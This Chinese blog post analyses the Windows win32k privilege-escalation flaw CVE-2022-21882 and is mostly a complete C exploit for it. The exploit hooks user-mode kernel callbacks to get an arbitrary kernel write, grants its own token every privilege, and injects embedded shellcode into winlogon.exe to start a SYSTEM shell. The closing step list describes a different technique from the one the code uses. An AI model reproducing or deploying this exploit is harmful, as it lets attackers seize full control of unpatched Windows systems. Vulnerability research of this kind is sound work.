CVE-2022-21882 win32k内核提权分析


0x00漏洞描述

CVE-2022-21882漏洞是window系统的一个本地提权漏洞,微软在2022年1月份安全更新中修补了此漏洞。CVE-2022-21882是对CVE-2021-1732漏洞的绕过,属于win32k驱动程序中的类型混淆漏洞。漏洞成因与CVE-2021-1732类似,主要因为win32kfull!xxxClientAllocExtraBytes函数会回调用户空间中的user32!xxxClientAllocWindowClassExtraBytes,使用NtUserConsoleControl方法设置tagWNDK对象的ConsoleWindow标志,修改窗口类型。回调之后,系统不检查窗口类型是否改变,攻击者可以设置目标窗口的ExtraBytes指针为任意值,修改寻址方式为桌面堆+偏移,以实现桌面堆的越界写。

影响版本:

Windows 10 Version 21H2 for x64-based Systems
Windows 10 Version 21H2 for ARM64-based Systems
Windows 10 Version 21H2 for 32-bit Systems
Windows 11 for ARM64-based Systems
Windows 11 for x64-based Systems
Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 21H1 for ARM64-based Systems
Windows 10 Version 21H1 for x64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows 10 Version 21H1 for 32-bit Systems

0x01漏洞分析

CVE-2021-1732补丁

CVE-2021-1732的补丁是在CreateWindowEx在调用ClientAllocWindowClassExtraBytes后增加了一个检查。正常情况下在新创建一个窗口还没有调用xxxClientAllocWindowClassExtraBytes的时候,其窗口对应的tagWND -> ExtraBytes是空的,通过检测目标窗口的ExtraBytes指针是否在回调过程中被修改,推测用户态回调是否被hook,如果检查到非正常修改就会释放新创建的窗口,返回失败。也就是说CVE-2021-1732的补丁打在CreateWindowEx,修复方法是在调用xxxClientAllocWindowClassExtraBytes函数后,在CreateWindowEx中判断漏洞是否被利用。

但是xxxCreateAllocWindowClassExtraBytes函数并没有做任何修改。打完补丁之后,又出现的新的路径来触发xxxClientAllocWindowClassExtraBytes函数。

win32kfull!xxxSwitchWndProc

xxxSwitchWndProc函数中调用xxxClientAllocWindowClassExtraBytes为窗口分配额外内存,后面却没有检查窗口的ExtraBytes在用户层回调过程中是否修改,因此发生了和CVE-2021-1732同样的问题,由于窗口已经创建完毕,窗口的句柄也更容易拿到,因此漏洞更容易利用。

_int64 __fastcall xxxSwitchWndProc(struct tagWND *a1, int a2, unsigned __int64 a3, __int64 a4)
{
    *((_QWORD *)v7 + 0x23) = v15;
    *(_DWORD *)(*(_QWORD *)v8 + 0xFCi64) = v14;
    cbExtraBytes = *(unsigned int *)(*(_QWORD *)v8 + 0xC8i64);
    v28 = cbExtraBytes;
    if ( (_DWORD)cbExtraBytes )//cbExtraBytes大于0,调用xxxClientAllocWindowClassExtraBytes
    {
        ret = (void *)xxxClientAllocWindowClassExtraBytes((unsigned int)cbExtraBytes);
        if ( !ret )
            return 0i64;
    }
    else
    {
        ret = 0i64;
    }
    if ( tagWND::RedirectedFieldpExtraBytes::operator<bool> bool((__int64)v7 + 0x140) )// tagWND->ExtraBytes != NULL
    {
        if ( ret )
            memmove(
            ret,
            (const void *)(*(_QWORD *)(*(_QWORD *)v8 + 0x128i64) + *(unsigned int *)(*(_QWORD *)v8 + 0xFCi64)),
            cbExtraBytes);
        tagWND = *((_QWORD *)v7 + 5);
        ExtraBytes = *(_QWORD *)(tagWND + 0x128);
        *(_QWORD *)(tagWND + 0x128) = ret;
        *(_DWORD *)(*((_QWORD *)v7 + 5) + 0xC8i64) = cbExtraBytes;
        xxxClientFreeWindowClassExtraBytes((__int64)v7, ExtraBytes);
    }
}

0x02 漏洞利用

利用流程

应用层可以通过调用NtUserMessageCall函数触发内核层的xxxSwitchWndProc函数,接着就会调用到xxxClientAllocWindowClassExtraBytes。事先在应用层hook相应的回调函数,然后调用函数NtUserConsoleControl修改tagWND_Trigger的ExtraBytes内存寻址方式为桌面堆+偏移,调用NtCallbackReturn将窗口相对桌面堆的偏移tagWND_Victim offset设置为tagWND_Trigger - > ExtraBytes,Hook应用层的User32!xxxClientFreeWindowClassExtraBytes,使其不释放tagWND_Trigger -> ExtraBytes。

触发漏洞窗口hTrigger和受害者窗口hVictim在内存上的布局:按照利用流程修改hTrigger的tagWND->Flags |= 0x800,设置tagWND_Victim相对与桌面堆的偏移为Trigger->ExtraBytes,然后对hWndTrigger调用SetWindowLong系列函数,越界修改Victim->ExtraBytes为任意内存,再对hWndVictim调用SetWindowLong系列函数任意内存写,获得任意内核地址写之后,修改当前进程的Token -> Privileges,最后恢复Victim -> ExtraBytes和Trigger -> Flags,避免BSOD。

EXP分析

##include<windows.h>
##include<stdio.h>
##include<stdlib.h>
##include <Psapi.h>
##pragma comment(lib, "Psapi.lib ")

##define KERNEL_CALLBACK_TABLE_OFFSET 0x58
##define TRIGGERWND_EXTRASIZE 0xABCD
##define STATUS_INFO_LENGTH_MISMATCH  ((NTSTATUS)0xC0000004L) 

##pragma pack(1)
typedef struct 
{
    ULONG64 hWnd;                // + 0x00
    ULONG64 OffsetToDesktopHeap; // + 0x08
    ULONG64 state;               // + 0x10
    DWORD dwExStyle;             // + 0x18
    DWORD dwStyle;               // + 0x1C
    BYTE padd1[0xa8];
    ULONG64 cbWndExtra;          // + 0xC8
    BYTE padd2[0x18];
    DWORD dwExtraFlag;           // + 0xE8
    BYTE padd3[0x3c];
    ULONG64 pExtraBytes;         // + 0x128
}tagWNDK,*PWND;

##pragma pack(0)

typedef struct _SYSTEM_HANDLE
{
    PVOID Object;
    HANDLE UniqueProcessId;
    HANDLE HandleValue;
    ULONG GrantedAccess;
    USHORT CreatorBackTraceIndex;
    USHORT ObjectTypeIndex;
    ULONG HandleAttributes;
    ULONG Reserved;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
    ULONG_PTR HandleCount;
    ULONG_PTR Reserved;
    SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;

enum SYSTEM_INFORMATION_CLASS {
    SystemExtendedHandleInformation = 64
};

using NtUserMessageCall_t = NTSTATUS(*)(
    HWND hWnd,
    UINT Msg,
    WPARAM wParam,
    LPARAM lParam,
    ULONG_PTR ResultInfo,
    DWORD dwType,
    BOOL bAnsi);

using ZwQuerySystemInformation_t = NTSTATUS(*)(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength);

using RtlAllocateHeap_t = PVOID(*)(PVOID HeapHandle, ULONG Flags, SIZE_T Size);

using xxxClientAllocWindowClassExtraBytes_t = NTSTATUS(*)(PDWORD Length);
using xxxClientFreeWindowClassExtraBytes_t = NTSTATUS(*WINAPI)(PVOID* pInfo);

using NtUserConsoleControl_t = NTSTATUS(__fastcall*)(DWORD64, LPVOID, DWORD);
using NtCallbackReturn_t = NTSTATUS(__fastcall*)(LPVOID, DWORD, NTSTATUS);
using HMValidateHandle_t = tagWNDK*(__fastcall*)(HANDLE, UINT);
using IsMenu_t = BOOL(*)(HMENU hMenu);

namespace gb {
    xxxClientAllocWindowClassExtraBytes_t xxxClientAllocWindowClassExtraBytes = 0;
    xxxClientFreeWindowClassExtraBytes_t xxxClientFreeWindowClassExtraBytes = 0;
    NtUserConsoleControl_t NtUserConsoleControl = 0;
    NtCallbackReturn_t NtCallbackReturn = 0;
    HMValidateHandle_t HMValidateHandle = 0;
    NtUserMessageCall_t  NtUserMessageCall = 0;
    ZwQuerySystemInformation_t ZwQuerySystemInformation = 0;
    RtlAllocateHeap_t RtlAllocateHeap = 0;

    IsMenu_t u32_IsMenu = 0;
    HMODULE g_hNtdll = 0;
    HMODULE g_hWin32u = 0;
    HMODULE g_hUser32 = 0;

    HWND g_hTriggerWnd = 0;
    HWND g_hVictimWnd = 0;

    DWORD64 TriggerDeskHeap = 0;
    DWORD64 VictimDeskHeap = 0;
    HANDLE hToken = 0;
};


VOID SetFuncHook(DWORD64 newAllocFunc,DWORD64 newFreeFunc) {
    //1.获取本进程的PEB
    DWORD64 ulCurrPEB = __readgsqword(0x60);
    printf("[+] Found ulCurrPEB = 0x%p\n", ulCurrPEB);
    //2.找到KernelCallbackTable
    DWORD64 KernelCallbackTable = ulCurrPEB + KERNEL_CALLBACK_TABLE_OFFSET;
    KernelCallbackTable = *(PDWORD64)KernelCallbackTable;
    printf("[+] Found KernelCallbackTable = 0x%p\n", KernelCallbackTable);
    DWORD64  xxxClientAllocExtraBytesFunc = *(PDWORD64)((DWORD64)KernelCallbackTable + 0x7B * 8);
    printf("[+] Found xxxClientAllocExtraBytesFunc = 0x%p\n", xxxClientAllocExtraBytesFunc);
    gb::xxxClientAllocWindowClassExtraBytes = (xxxClientAllocWindowClassExtraBytes_t)xxxClientAllocExtraBytesFunc;

    DWORD64  xxxClientFreeExtraBytesFunc = *(PDWORD64)((DWORD64)KernelCallbackTable + 0x7C * 8);
    printf("[+] Found xxxClientFreeExtraBytesFunc = 0x%p\n", xxxClientFreeExtraBytesFunc);
    gb::xxxClientFreeWindowClassExtraBytes = (xxxClientFreeWindowClassExtraBytes_t)xxxClientFreeExtraBytesFunc;

    //3.HOOK
    //首先需要设置页面可写属性
    DWORD dwOldProtect;
    VirtualProtect((LPVOID)((DWORD64)KernelCallbackTable + 0x7B * 8), 0x300, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    *(PDWORD64)((DWORD64)KernelCallbackTable + 0x7B * 8) = newAllocFunc;
    VirtualProtect((LPVOID)((DWORD64)KernelCallbackTable + 0x7B * 8), 0x300, dwOldProtect, &dwOldProtect);

    VirtualProtect((LPVOID)((DWORD64)KernelCallbackTable + 0x7C * 8), 0x300, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    *(PDWORD64)((DWORD64)KernelCallbackTable + 0x7C * 8) = newFreeFunc;
    VirtualProtect((LPVOID)((DWORD64)KernelCallbackTable + 0x7C * 8), 0x300, dwOldProtect, &dwOldProtect);
}

NTSTATUS WINAPI ClientFreeWindowsClassExtraBytesProxy(PVOID* pInfo) {
    PWND pwnd = (PWND)pInfo[0];
    if (pwnd->cbWndExtra == TRIGGERWND_EXTRASIZE)
        return 1;
    return gb::xxxClientFreeWindowClassExtraBytes(pInfo);
}

NTSTATUS WINAPI ClientAllocatWindowClassExtraBytesProxy(PDWORD size) {
    
    if (*size==TRIGGERWND_EXTRASIZE) {
        //获取窗口句柄
        //使用NtUserConsoleControl 将目标窗口的寻址模式修改为DesktopHeap+Offset
        printf("[+] ClientAllocatWindowClassExtraBytesProxy called! Offset = %p\n\n", gb::VictimDeskHeap);
        gb::NtUserConsoleControl(6, &gb::g_hTriggerWnd, 0x10);
        //修改hWndTriggle 的 tagWnd->ExtraBytes 为 hTriggerWnd的桌面堆
        DWORD64 ulResult = gb::VictimDeskHeap ;
        return gb::NtCallbackReturn(&ulResult, 24, 0);
    }
    return gb::xxxClientAllocWindowClassExtraBytes(size);
}

LRESULT __fastcall WindowProc(HWND a1, UINT a2, WPARAM a3, LPARAM a4)
{
    if (a2 != 2)
        return DefWindowProcW(a1, a2, a3, a4);
    PostQuitMessage(0);
    return 0;
}

bool CheckPrivilege(HANDLE TokenHandle)
{
    BOOL isPrivilegeSet = FALSE;
    PRIVILEGE_SET       privSet;
    LUID_AND_ATTRIBUTES Privileges[1];
    LookupPrivilegeValue(NULL, "SeDebugPrivilege", &(Privileges[0].Luid));
    Privileges[0].Attributes = 0;

    privSet.PrivilegeCount = 1;
    privSet.Control = PRIVILEGE_SET_ALL_NECESSARY;
    memcpy(privSet.Privilege, Privileges, sizeof(Privileges));

    PrivilegeCheck(TokenHandle, &privSet, &isPrivilegeSet);
    return isPrivilegeSet;
}

DWORD getProcessId(const char* name)
{
    DWORD aProcesses[1024], cbNeeded, cProcesses;
    unsigned int i;

    if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded))
    {
        printf("[Error_%d] EnumProcess failed...\n", __LINE__);
        exit(0);
    }


    // Calculate how many process identifiers were returned.
    cProcesses = cbNeeded / sizeof(DWORD);

    // Print the name and process identifier for each process.
    for (i = 0; i < cProcesses; i++)
    {
        if (aProcesses[i] != 0)
        {
            DWORD processID = aProcesses[i];
            CHAR szProcessName[MAX_PATH] = "<unknown>";

            // Get a handle to the process.

            HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |
                PROCESS_VM_READ,
                FALSE, processID);

            // Get the process name.

            if (NULL != hProcess)
            {
                HMODULE hMod;
                DWORD cbNeeded;

                if (EnumProcessModules(hProcess, &hMod, sizeof(hMod),
                    &cbNeeded))
                {
                    GetModuleBaseNameA(hProcess, hMod, szProcessName,
                        sizeof(szProcessName) / sizeof(TCHAR));
                }
            }

            // Print the process name and identifier.
            if (!lstrcmpA(szProcessName, name))
            {
                CloseHandle(hProcess);
                return (processID);
            }

            // Release the handle to the process.

            CloseHandle(hProcess);
        }
    }

    return 0;

}

void SpawnShell() {
    HANDLE hSystemProcess = INVALID_HANDLE_VALUE;
    PVOID  pLibRemote;
    HMODULE hKernel32 = GetModuleHandleA("Kernel32");
    DWORD processID;
    unsigned char shellcode[] =
        "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
        "\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
        "\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \
        "\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \
        "\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \
        "\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \
        "\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \
        "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \
        "\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \
        "\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \
        "\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \
        "\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \
        "\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \
        "\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \
        "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \
        "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \
        "\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \
        "\x78\x65\x00";


    if ((processID = getProcessId("winlogon.exe")) == 0)
    {
        printf("[Error_%d] Couldn't retrieve process ID...\n", __LINE__);
        return;
    }
    printf("[+] Retrieved process id: %d\n", processID);
    hSystemProcess = OpenProcess(GENERIC_ALL, false, processID);

    if (hSystemProcess == INVALID_HANDLE_VALUE || hSystemProcess == (HANDLE)0)
    {
        printf("[Error_%d] Couldn't open system process...\n", __LINE__);
        return;
    }
    printf("[+] Got a handle on a system Process: %08p\n", hSystemProcess);


    pLibRemote = VirtualAllocEx(hSystemProcess, NULL, sizeof(shellcode) * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    if (!pLibRemote)
    {
        printf("[Error_%d] Virtual alloc failed !\n", __LINE__);
        return;
    }

    printf("[+] Allocation in system process succeded with address %08p\n", pLibRemote);

    if (!WriteProcessMemory(hSystemProcess, pLibRemote, shellcode, sizeof(shellcode), NULL))
    {
        printf("[Error_%d] WriteProcessMemory failed !\n", __LINE__);
        return;
    }

    HANDLE hThread = CreateRemoteThread(hSystemProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pLibRemote, NULL, 0, NULL);

    printf("[+] Writing in system process succeded\n");

    if (hThread == NULL) {
        printf("[Error_%d] CreateRemoteThread failed !\n", __LINE__);
        return;
    }
    else
        printf("[+] Remote thread created !\n");
    CloseHandle(hSystemProcess);
}

ULONG64 GetToken() {
    PSYSTEM_HANDLE_INFORMATION_EX sys_handle_info_ref = NULL;
    ULONG64 Token = 0;
    ULONG len = 20;
    NTSTATUS ntst = 0;

    OpenProcessToken(GetCurrentProcess(), GENERIC_READ, &gb::hToken);
    if (gb::hToken == INVALID_HANDLE_VALUE) {
        printf("[Error_%d] GetToken(): OpenProcessToken failed.\n", __LINE__);
        return 0;
    }
    //获取本进程的EPROCESS
    do {
        len *= 2;
        sys_handle_info_ref = (PSYSTEM_HANDLE_INFORMATION_EX)realloc(sys_handle_info_ref, len);
        ntst = gb::ZwQuerySystemInformation(
            (SYSTEM_INFORMATION_CLASS)SystemExtendedHandleInformation, sys_handle_info_ref, len, &len);
    } while (ntst == STATUS_INFO_LENGTH_MISMATCH);

    if (ntst != 0) {
        printf("[Error_%d] GetToken(): ZwQuerySystemInformation failed.\n", __LINE__);
        if (sys_handle_info_ref)
            free(sys_handle_info_ref);
        return 0;
    }

    DWORD pid = GetCurrentProcessId();
    for (int i = 0; i < sys_handle_info_ref->HandleCount; i++) {
        if (gb::hToken == sys_handle_info_ref->Handles[i].HandleValue
            && (HANDLE)pid == sys_handle_info_ref->Handles[i].UniqueProcessId) {
            Token = (ULONG64)sys_handle_info_ref->Handles[i].Object;
            break;
        }
    }

    if (sys_handle_info_ref)
        free(sys_handle_info_ref);

    printf("[+] Found current process token = %p\n", Token);
    return Token;
}


BOOLEAN Init() {
    BOOLEAN bRet = TRUE;
    int offset = 0;
    DWORD64 next_code = 0;

    __try {
        gb::g_hUser32 = LoadLibraryA("user32.dll");
        if (!gb::g_hUser32) {
            printf("[!] Error: %d, Code = 0x%p", __LINE__, GetLastError());
            bRet = FALSE;
            __leave;
        }
        //获取u32_IsMenu
        gb::u32_IsMenu = (IsMenu_t)GetProcAddress(gb::g_hUser32, "IsMenu");
        if (!gb::u32_IsMenu) {
            printf("[!] Error: %d, Code = 0x%p", __LINE__, GetLastError());
            bRet = FALSE;
            __leave;
        }

        for (int i = 0; i < 0x100; i++) {
            PUCHAR tr = (PUCHAR)gb::u32_IsMenu + i;
            if (*tr == 0xE8)
            {//找到调用HMValidateHandle的指令位置
                offset = *(int*)((PCHAR)gb::u32_IsMenu + i + 1);
                next_code = (DWORD64)gb::u32_IsMenu + i + 5;
                gb::HMValidateHandle = (HMValidateHandle_t)(next_code + offset);
                break;
            }
        }
        if (!gb::HMValidateHandle) {
            printf("[!] Error: Can not find HMValidateHandle!\n");
            bRet = FALSE;
            __leave;
        }

        printf("[+] Found HMValidateHandle = 0x%p\n", gb::HMValidateHandle);

        gb::g_hNtdll = LoadLibraryA("ntdll.dll");
        if (!gb::g_hNtdll) {
            printf("[!] Error: %d, Code = 0x%p", __LINE__, GetLastError());
            bRet = FALSE;
            __leave;
        }

        gb::g_hWin32u = LoadLibraryA("win32u.dll");
        if (!gb::g_hWin32u) {
            printf("[!] Error: %d, Code = 0x%p", __LINE__, GetLastError());
            bRet = FALSE;
            __leave;
        }
        
        gb::NtCallbackReturn = (NtCallbackReturn_t)GetProcAddress(gb::g_hNtdll, "NtCallbackReturn");
        gb::NtUserMessageCall = (NtUserMessageCall_t)GetProcAddress(gb::g_hWin32u, "NtUserMessageCall");
        gb::NtUserConsoleControl = (NtUserConsoleControl_t)GetProcAddress(gb::g_hWin32u, "NtUserConsoleControl");
        gb::ZwQuerySystemInformation = (ZwQuerySystemInformation_t)GetProcAddress(gb::g_hNtdll, "NtQuerySystemInformation");
        gb::RtlAllocateHeap = (RtlAllocateHeap_t)GetProcAddress(gb::g_hNtdll, "RtlAllocateHeap");
        if (gb::NtCallbackReturn==0 || gb::NtUserMessageCall==0 || 
            gb::NtUserConsoleControl==0 || gb::ZwQuerySystemInformation==0 ||
            gb::RtlAllocateHeap==0) {
            printf("[!] Error: %d, Code = 0x%p", __LINE__, GetLastError());
            bRet = FALSE;
            __leave;
        }
    }
    __finally {

    }
    return bRet;
}

int main(int argc,char *argv[]) {

    if (argc <= 1) {
        printf(
        "Usage:\n"
        "         Example: CVE-2022-21882.exe whoami\n"
        );
        return 0;
    }

    WNDCLASSEXW WndClassExW = { 0 };

    ULONG64 TokenAddr = 0;

    if (Init()) {

        TokenAddr = GetToken();

        if (TokenAddr == 0) {
            printf("[-] Error(%u): GetToken failed.\n");
            return 0;
        }

        WndClassExW.hIcon = 0;
        WndClassExW.hbrBackground = 0;
        WndClassExW.lpszClassName = 0;
        WndClassExW.lpfnWndProc = (WNDPROC)WindowProc;
        WndClassExW.cbSize = sizeof(WNDCLASSEXW);
        WndClassExW.style = CS_VREDRAW | CS_HREDRAW;;
        WndClassExW.cbClsExtra = 0;
        WndClassExW.cbWndExtra = 0x60;
        WndClassExW.hInstance = GetModuleHandleW(0);
        WndClassExW.lpszClassName = L"VictimClass";
        //被覆盖写
        ATOM atom_vic = RegisterClassExW(&WndClassExW);

        WndClassExW.cbWndExtra = TRIGGERWND_EXTRASIZE;
        WndClassExW.lpszClassName = L"TriggerClass";

        //触发漏洞
        ATOM atom_trig = RegisterClassExW(&WndClassExW);

        gb::g_hVictimWnd = CreateWindowExW(NULL,
            (LPCWSTR)(unsigned __int16)atom_vic,
            L"VictimWnd",
            NULL,
            0,
            0, 
            0,
            0,
            0,
            0,
            GetModuleHandleW(0),
            0);
        printf("[+] Created victim windows = 0x%p\n", gb::g_hVictimWnd);

        gb::g_hTriggerWnd = CreateWindowExW(NULL,
            (LPCWSTR)(unsigned __int16)atom_trig,
            L"TriggerBug",
            NULL,
            0,
            0,
            0,
            0,
            0,
            0,
            GetModuleHandleW(0),
            0);
        printf("[+] Created trigger windows = 0x%p\n", gb::g_hTriggerWnd);
        // 触发漏洞
        // 获取刚创建的这两个窗口的桌面堆
        PWND Trigger= gb::HMValidateHandle(gb::g_hTriggerWnd, 1);
        gb::TriggerDeskHeap = Trigger->OffsetToDesktopHeap;
        printf("[+] TriggerDeskHeap's tagWND = 0x%p\n", Trigger);
        PWND Victim = gb::HMValidateHandle(gb::g_hVictimWnd, 1);
        gb::VictimDeskHeap = Victim->OffsetToDesktopHeap;
        DWORD64 Distance = 0;
        if (gb::VictimDeskHeap> gb::TriggerDeskHeap) {
            Distance=gb::VictimDeskHeap - gb::TriggerDeskHeap;
        }
        else {
            Distance = gb::TriggerDeskHeap - gb::VictimDeskHeap;
        }

        if (Distance >= TRIGGERWND_EXTRASIZE) {
            printf("[-] Heap spray failed!\n");
            return 0;
        }

        printf("[+] VictimDeskHeap's tagWND = 0x%p\n", Victim);
        printf("[+] TriggerDeskHeap = %p\n", gb::TriggerDeskHeap);
        printf("[+] VictimDeskHeap = %p\n", gb::VictimDeskHeap);

        // 回调函数
        SetFuncHook((DWORD64)ClientAllocatWindowClassExtraBytesProxy,(DWORD64)ClientFreeWindowsClassExtraBytesProxy);
        // 触发漏洞
        gb::NtUserMessageCall(gb::g_hTriggerWnd, WM_CREATE,0,0, NULL, 0, FALSE);

        // 修改 tagWND_victim->ExtraBytes = TokenAddr
        ULONG_PTR Old = SetWindowLongPtrW(gb::g_hTriggerWnd, 0x128+0x10, TokenAddr+0x40);
        // 修改 Token->Privileges.Enabled = 0xFFFFFFFFFFFFFFFF
        SetWindowLongPtrW(gb::g_hVictimWnd, 8, 0xFFFFFFFFFFFFFFFF);
        // 修改 Token->Privileges.Present = 0xFFFFFFFFFFFFFFFF
        SetWindowLongPtrW(gb::g_hVictimWnd, 0, 0xFFFFFFFFFFFFFFFF);

        if (CheckPrivilege(gb::hToken)) {
            SpawnShell();
        }
        else {
            printf("[+] 提权失败!\n");
        } 

        // 恢复 tagWND_Victim->ExtraBytes = Old
        SetWindowLongPtrW(gb::g_hTriggerWnd, 0x128 + 0x10, Old);
        // 恢复 tagWND_Trigger->Styles &= ~0x800
        SetWindowLongPtrW(gb::g_hTriggerWnd, Distance + 0xE8 + 0x10, Trigger->dwExStyle);
        system("pause");
    }
    return 0;
    }

1.触发越界写入漏洞,修改window对象的cbWndExtra为0xFFFEFFF,使用window对象WndExtra可以访问大内存。

2.修改另一个窗口的WS_CHILD标志,为另一个窗口设置一个专门构造的Menu(fake menu)

3.通过GetMenuBarInfo API和假菜单获取任意读取原语。

4.使用SetWindowLongPtrA API修改另一个窗口对象的ExtraBytes以获得任意写入原语。

5.通过EPROCESS ActiveProcessLinks找到PID为4的系统eprocess

6.读取系统token,替换当前进程token


文章作者: 大茗茗のblog
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 大茗茗のblog !
  目录